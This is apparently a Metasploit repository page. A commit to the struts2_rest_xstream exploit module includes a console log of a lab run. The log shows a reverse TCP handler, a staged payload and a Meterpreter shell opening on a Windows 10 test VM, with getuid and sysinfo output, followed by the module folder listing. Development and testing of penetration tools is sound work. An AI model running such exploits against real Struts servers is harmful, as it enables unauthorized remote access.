William Vu df5f4caaae Uncomment PSH target in struts2_rest_xstream ...

I'm full of shit. It works.

msf5 exploit(multi/http/struts2_rest_xstream) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Powershell command length: 2467
[*] Sending stage (206403 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:49691) at 2018-08-27 20:00:47 -0500

meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter >

2018-08-27 20:01:00 -05:00

..

auxiliary

Land #10505, post-auth and default creds info

2018-08-24 18:08:15 -05:00

encoders

Add brace expansion encoder

2018-08-23 21:33:43 -05:00

exploits

Uncomment PSH target in struts2_rest_xstream

2018-08-27 20:01:00 -05:00

nops

avoid inserting a float into instruction generation randomly

2018-08-27 11:24:38 -05:00

payloads

Land #10516, Add brace expansion encoder and update ${IFS} encoder

2018-08-25 22:23:07 -05:00

post

Land #10394, Cleanup aws_ec2_instance_metadata

2018-08-15 14:51:12 -05:00